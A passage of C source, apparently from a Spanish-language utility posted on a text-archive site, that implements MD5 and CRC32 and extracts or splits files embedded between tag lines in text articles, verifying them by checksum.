((unsigned) buf[1] << 8 | buf[0]);
*(uint32 *) buf = t;
buf += 4;
} while (--longs);
}
#endif
#endif

void MD5Init(struct MD5Context *ctx)
{
ctx->buf[0] = 0x67452301;
ctx->buf[1] = 0xefcdab89;
ctx->buf[2] = 0x98badcfe;
ctx->buf[3] = 0x10325476;

ctx->bits[0] = 0;
ctx->bits[1] = 0;
}

void MD5Update(struct MD5Context *ctx, unsigned char const *buf, unsigned len)
{
uint32 t;

t = ctx->bits[0];
if ((ctx->bits[0] = t + ((uint32) len << 3)) < t)
ctx->bits[1]++;
ctx->bits[1] += len >> 29;

t = (t >> 3) & 0x3f;


if (t) {
unsigned char *p = (unsigned char *) ctx->in + t;

t = 64 - t;
if (len < t) {
memcpy(p, buf, len);
return;
}
memcpy(p, buf, t);
byteReverse(ctx->in, 16);
MD5Transform(ctx->buf, (uint32 *) ctx->in);
buf += t;
len -= t;
}

while (len >= 64) {
memcpy(ctx->in, buf, 64);
byteReverse(ctx->in, 16);
MD5Transform(ctx->buf, (uint32 *) ctx->in);
buf += 64;
len -= 64;
}

memcpy(ctx->in, buf, len);
}

void MD5Final(unsigned char digest[16], struct MD5Context *ctx)
{
unsigned count;
unsigned char *p;

count = (ctx->bits[0] >> 3) & 0x3F;

p = ctx->in + count;
*p++ = 0x80;

count = 64 - 1 - count;

if (count < 8) {

memset(p, 0, count);
byteReverse(ctx->in, 16);
MD5Transform(ctx->buf, (uint32 *) ctx->in);

memset(ctx->in, 0, 56);
} else {
memset(p, 0, count - 8);
}
byteReverse(ctx->in, 14);

((uint32 *) ctx->in)[14] = ctx->bits[0];
((uint32 *) ctx->in)[15] = ctx->bits[1];

MD5Transform(ctx->buf, (uint32 *) ctx->in);
byteReverse((unsigned char *) ctx->buf, 4);
memcpy(digest, ctx->buf, 16);
memset(ctx, 0, sizeof(ctx));
}

#ifndef ASM_MD5

#define F1(x, y, z) (z ^ (x & (y ^ z)))
#define F2(x, y, z) F1(z, x, y)
#define F3(x, y, z) (x ^ y ^ z)
#define F4(x, y, z) (y ^ (x | ~z))

#define MD5STEP(f, w, x, y, z, data, s) ( w += f(x, y, z) + data, w = w<<s | w>>(32-s), w += x )

void MD5Transform(uint32 buffer[4], uint32 const in[16])
{
register uint32 a, b, c, d;

a = buffer[0];
b = buffer[1];
c = buffer[2];
d = buffer[3];

MD5STEP(F1, a, b, c, d, in[0] + 0xd76aa478, 7);
MD5STEP(F1, d, a, b, c, in[1] + 0xe8c7b756, 12);
MD5STEP(F1, c, d, a, b, in[2] + 0x242070db, 17);
MD5STEP(F1, b, c, d, a, in[3] + 0xc1bdceee, 22);
MD5STEP(F1, a, b, c, d, in[4] + 0xf57c0faf, 7);
MD5STEP(F1, d, a, b, c, in[5] + 0x4787c62a, 12);
MD5STEP(F1, c, d, a, b, in[6] + 0xa8304613, 17);
MD5STEP(F1, b, c, d, a, in[7] + 0xfd469501, 22);
MD5STEP(F1, a, b, c, d, in[8] + 0x698098d8, 7);
MD5STEP(F1, d, a, b, c, in[9] + 0x8b44f7af, 12);
MD5STEP(F1, c, d, a, b, in[10] + 0xffff5bb1, 17);
MD5STEP(F1, b, c, d, a, in[11] + 0x895cd7be, 22);
MD5STEP(F1, a, b, c, d, in[12] + 0x6b901122, 7);
MD5STEP(F1, d, a, b, c, in[13] + 0xfd987193, 12);
MD5STEP(F1, c, d, a, b, in[14] + 0xa679438e, 17);
MD5STEP(F1, b, c, d, a, in[15] + 0x49b40821, 22);

MD5STEP(F2, a, b, c, d, in[1] + 0xf61e2562, 5);
MD5STEP(F2, d, a, b, c, in[6] + 0xc040b340, 9);
MD5STEP(F2, c, d, a, b, in[11] + 0x265e5a51, 14);
MD5STEP(F2, b, c, d, a, in[0] + 0xe9b6c7aa, 20);
MD5STEP(F2, a, b, c, d, in[5] + 0xd62f105d, 5);
MD5STEP(F2, d, a, b, c, in[10] + 0x02441453, 9);
MD5STEP(F2, c, d, a, b, in[15] + 0xd8a1e681, 14);
MD5STEP(F2, b, c, d, a, in[4] + 0xe7d3fbc8, 20);
MD5STEP(F2, a, b, c, d, in[9] + 0x21e1cde6, 5);
MD5STEP(F2, d, a, b, c, in[14] + 0xc33707d6, 9);
MD5STEP(F2, c, d, a, b, in[3] + 0xf4d50d87, 14);
MD5STEP(F2, b, c, d, a, in[8] + 0x455a14ed, 20);
MD5STEP(F2, a, b, c, d, in[13] + 0xa9e3e905, 5);
MD5STEP(F2, d, a, b, c, in[2] + 0xfcefa3f8, 9);
MD5STEP(F2, c, d, a, b, in[7] + 0x676f02d9, 14);
MD5STEP(F2, b, c, d, a, in[12] + 0x8d2a4c8a, 20);

MD5STEP(F3, a, b, c, d, in[5] + 0xfffa3942, 4);
MD5STEP(F3, d, a, b, c, in[8] + 0x8771f681, 11);
MD5STEP(F3, c, d, a, b, in[11] + 0x6d9d6122, 16);
MD5STEP(F3, b, c, d, a, in[14] + 0xfde5380c, 23);
MD5STEP(F3, a, b, c, d, in[1] + 0xa4beea44, 4);
MD5STEP(F3, d, a, b, c, in[4] + 0x4bdecfa9, 11);
MD5STEP(F3, c, d, a, b, in[7] + 0xf6bb4b60, 16);
MD5STEP(F3, b, c, d, a, in[10] + 0xbebfbc70, 23);
MD5STEP(F3, a, b, c, d, in[13] + 0x289b7ec6, 4);
MD5STEP(F3, d, a, b, c, in[0] + 0xeaa127fa, 11);
MD5STEP(F3, c, d, a, b, in[3] + 0xd4ef3085, 16);
MD5STEP(F3, b, c, d, a, in[6] + 0x04881d05, 23);
MD5STEP(F3, a, b, c, d, in[9] + 0xd9d4d039, 4);
MD5STEP(F3, d, a, b, c, in[12] + 0xe6db99e5, 11);
MD5STEP(F3, c, d, a, b, in[15] + 0x1fa27cf8, 16);
MD5STEP(F3, b, c, d, a, in[2] + 0xc4ac5665, 23);

MD5STEP(F4, a, b, c, d, in[0] + 0xf4292244, 6);
MD5STEP(F4, d, a, b, c, in[7] + 0x432aff97, 10);
MD5STEP(F4, c, d, a, b, in[14] + 0xab9423a7, 15);
MD5STEP(F4, b, c, d, a, in[5] + 0xfc93a039, 21);
MD5STEP(F4, a, b, c, d, in[12] + 0x655b59c3, 6);
MD5STEP(F4, d, a, b, c, in[3] + 0x8f0ccc92, 10);
MD5STEP(F4, c, d, a, b, in[10] + 0xffeff47d, 15);
MD5STEP(F4, b, c, d, a, in[1] + 0x85845dd1, 21);
MD5STEP(F4, a, b, c, d, in[8] + 0x6fa87e4f, 6);
MD5STEP(F4, d, a, b, c, in[15] + 0xfe2ce6e0, 10);
MD5STEP(F4, c, d, a, b, in[6] + 0xa3014314, 15);
MD5STEP(F4, b, c, d, a, in[13] + 0x4e0811a1, 21);
MD5STEP(F4, a, b, c, d, in[4] + 0xf7537e82, 6);
MD5STEP(F4, d, a, b, c, in[11] + 0xbd3af235, 10);
MD5STEP(F4, c, d, a, b, in[2] + 0x2ad7d2bb, 15);
MD5STEP(F4, b, c, d, a, in[9] + 0xeb86d391, 21);

buffer[0] += a;
buffer[1] += b;
buffer[2] += c;
buffer[3] += d;
}

#endif

int hex_digit(int c)
{
if (c >= '0' && c <= '9')
return c - '0';
if (c >= 'a' && c <= 'f')
return c - 'a' + 10;
return -1;
}

int mdfile(FILE *archivo, unsigned char *digest)
{
unsigned char buffer[1024];
MD5_CTX ctx;
int n;


fseek(archivo,0,SEEK_SET);
MD5Init(&ctx);
while ((n = fread(buffer, 1, sizeof(buffer), archivo)) > 0)
MD5Update(&ctx, buffer, n);
MD5Final(digest, &ctx);
if (ferror(archivo))
return -1;
return 0;
}

unsigned long crcTable[256];

void crcgen()
{
unsigned long crc, poly;
int i, j;
poly = 0xEDB88320L;
for (i=0; i<256; i++) {
crc = i;
for (j=8; j>0; j--) {
if (crc&1) {
crc = (crc >> 1) ^ poly;
}
else {
crc >>= 1;
}
}
crcTable[i] = crc;
}
}

unsigned long check_crc( FILE *fp )
{
register unsigned long crc;
int c;

crc = 0xFFFFFFFF;
while( (c=getc(fp)) != EOF ) {
crc = ((crc>>8) & 0x00FFFFFF) ^ crcTable[ (crc^c) & 0xFF ];
}

fseek(fp,0,SEEK_SET);

return( crc^0xFFFFFFFF );

}

void tmp_digest(unsigned char *p, unsigned char *digest_tmp)
{
int i;

for (i = 0; i < 16; ++i)
sprintf(&digest_tmp[i*2],"%02x", *p++);
}

int main(int argc, char **argv)
{
unsigned char b[256], *bp, *fn, *tmp;
unsigned char digest_f[32];
int i, i2=1, j = 0, h_c = 0, k,h_md5,d1=0,d2=0,modo_split=0;
unsigned long crc=0, crc_f=0;
unsigned char digest[16], digest_tmp[32];
FILE *in_p, *out_p = NULL, *separado;
struct f_name *fn_p = NULL, *head = NULL;

if (argc < 2)
{
printf("Uso: %s [-s] archivo1 archivo2 ... archivo-n\n", argv[0]);
exit(0);
}

if((argv[1][0] == '-')&&(argv[1][1]=='s')&&(strlen(argv[1])<3))
{
modo_split=1;
i2=2;
}

for (i = i2; (fn = argv[i++]); )
{
if (!head)
{
if (!(head = (struct f_name *)malloc(sizeof(struct f_name))))
{
perror("malloc");
exit(1);
}
strncpy(head->name, fn, sizeof(head->name));
head->next = NULL;
fn_p = head;
}

else
{
if (!(fn_p->next = (struct f_name *)malloc(sizeof(struct f_name))))
{
perror("malloc");
exit(1);
}
fn_p = fn_p->next;
strncpy(fn_p->name, fn, sizeof(fn_p->name));
fn_p->next = NULL;
}
}

if (!(fn_p->next = (struct f_name *)malloc(sizeof(struct f_name))))
{
perror("malloc");
exit(1);
}
fn_p = fn_p->next;
fn_p->next = NULL;

if(modo_split==1)
{
for(fn_p = head; fn_p -> next;fn_p = fn_p->next)
{
if(!(in_p=fopen(fn_p->name,"r")))
{
fprintf(stderr,"No se puede abrir el archivo original especificado: %s\n",fn_p->name);
continue;
}
else
{
fprintf(stderr, "%s abierto.\n", fn_p->name);

tmp=fn_p->name;

separado=fopen("0x00.txt","w");
fprintf(stderr,"Separando 0x00.txt\n");

while(fgets(b,256,in_p))
{
if(!strncmp(b,SPLIT_TAG,SPLIT_SIZE))
{
b[strlen(b) -1 ]=0;

if((bp=strchr(b + SPLIT_SIZE + 1,' ')))
{
*bp=0;
if((separado=fopen(strncat(b + SPLIT_SIZE-2,".txt",4),"w"))==NULL)
{
printf("No se puede crear %s\n",b);
continue;
}
fprintf(stderr,"Separando %s\n",b +SPLIT_SIZE-2);
}
*bp='.';
fprintf(separado,"%s",b);
fprintf(separado," ]-==============================================================\n");
}
else
fprintf(separado,"%s",b);
}
}
}
}
else
{
for (fn_p = head; fn_p->next; fn_p = fn_p->next)
{
if (!(in_p = fopen(fn_p->name, "r")))
{
fprintf(stderr, "No se puede abrir el archivo original %s.\n", fn_p->name);
continue;
}
else fprintf(stderr, "%s abierto\n", fn_p->name);

crcgen();

while (fgets(b, 256, in_p))
{
if (!strncmp (b, BEGIN_TAG, BT_SIZE))
{
b[strlen(b) - 1] = 0;
j++;

/* crc=0;
crc_f=0; X-DDD */


if ((bp = strchr(b + BT_SIZE + 1, '/')))
{
while (bp)
{
*bp = 0;
mkdir(b + BT_SIZE, 0700);
*bp = '/';
bp = strchr(bp + 1, '/');
}
}


if((bp=strchr(b,'!')))
{
crc_f=strtoul((b + (strlen(b)-strlen(bp)) + 1),NULL,16);
b[strlen(b) - strlen(bp) - 1 ]=0;
h_c=1;
h_md5=0;
}
else
{
h_c=0;
if((bp=strchr(b,'$')))
{
d2=0;
if(strlen(bp) < 33)
d2=1;
memcpy(&digest_f,bp+1,32);
digest_f[32]='\0';
b[strlen(b) - strlen(bp) - 1] =0;
h_md5=1;
}
else
{
h_c=0;
h_md5=0;
}
}

if ((out_p = fopen(b + BT_SIZE, "wb+")))
printf("- Extrayendo %s\n ", b + BT_SIZE);
else
{
printf("No se puede extraer '%s'.\n", b + BT_SIZE);
continue;
}

}

else if (!strncmp (b, END_TAG, ET_SIZE))
{
if (out_p)
{
if(h_c==1)
{
fseek(out_p,0l,0);
crc=check_crc(out_p);

if(crc==crc_f)
printf(" crc32 = %08lx ... comprobado\n ",crc);
else
printf(" crc32 -> %08lx - %08lx no coincide!\n ",crc,crc_f);

}
if(h_md5==1)
{
mdfile(out_p,digest);
tmp_digest(digest,digest_tmp);

for(k=0;k<32;k++)
{
if(digest_f[k] != digest_tmp[k])
d1=1;
}
if(d1==0)
printf(" md5 : %s -- ok!\n",digest_f);
else
{
if(d2==0)
printf(" md5! %s <-- md5 suministrado.\n",digest_f);
else
printf(" md5! Codigo MD5 suministrado incompleto.\n");
printf(" %s <-- md5 correcto.\n",digest_tmp);
}
d1=0;
}
/* nos vamos */
fclose(out_p);

}
else
{
fprintf(stderr, "Error al cerrar el archivo %s.\n", fn_p->name);
continue;
}
}
else if (out_p)
{
fputs(b, out_p);
}
}
}
if (!j) printf("No se han encontrado etiquetas de extraccion.\n");
else printf("Extraidos %d archivo(s).\n", j);
return (0);
}
}

← previous
next →
loading
sending ...
New to Neperos ? Sign Up for free
download Neperos App from Google Play
install Neperos as PWA

Let's discover also

Recent Articles

Recent Comments

Neperos cookies
This website uses cookies to store your preferences and improve the service. Cookies authorization will allow me and / or my partners to process personal data such as browsing behaviour.

By pressing OK you agree to the Terms of Service and acknowledge the Privacy Policy

By pressing REJECT you will be able to continue to use Neperos (like read articles or write comments) but some important cookies will not be set. This may affect certain features and functions of the platform.
OK
REJECT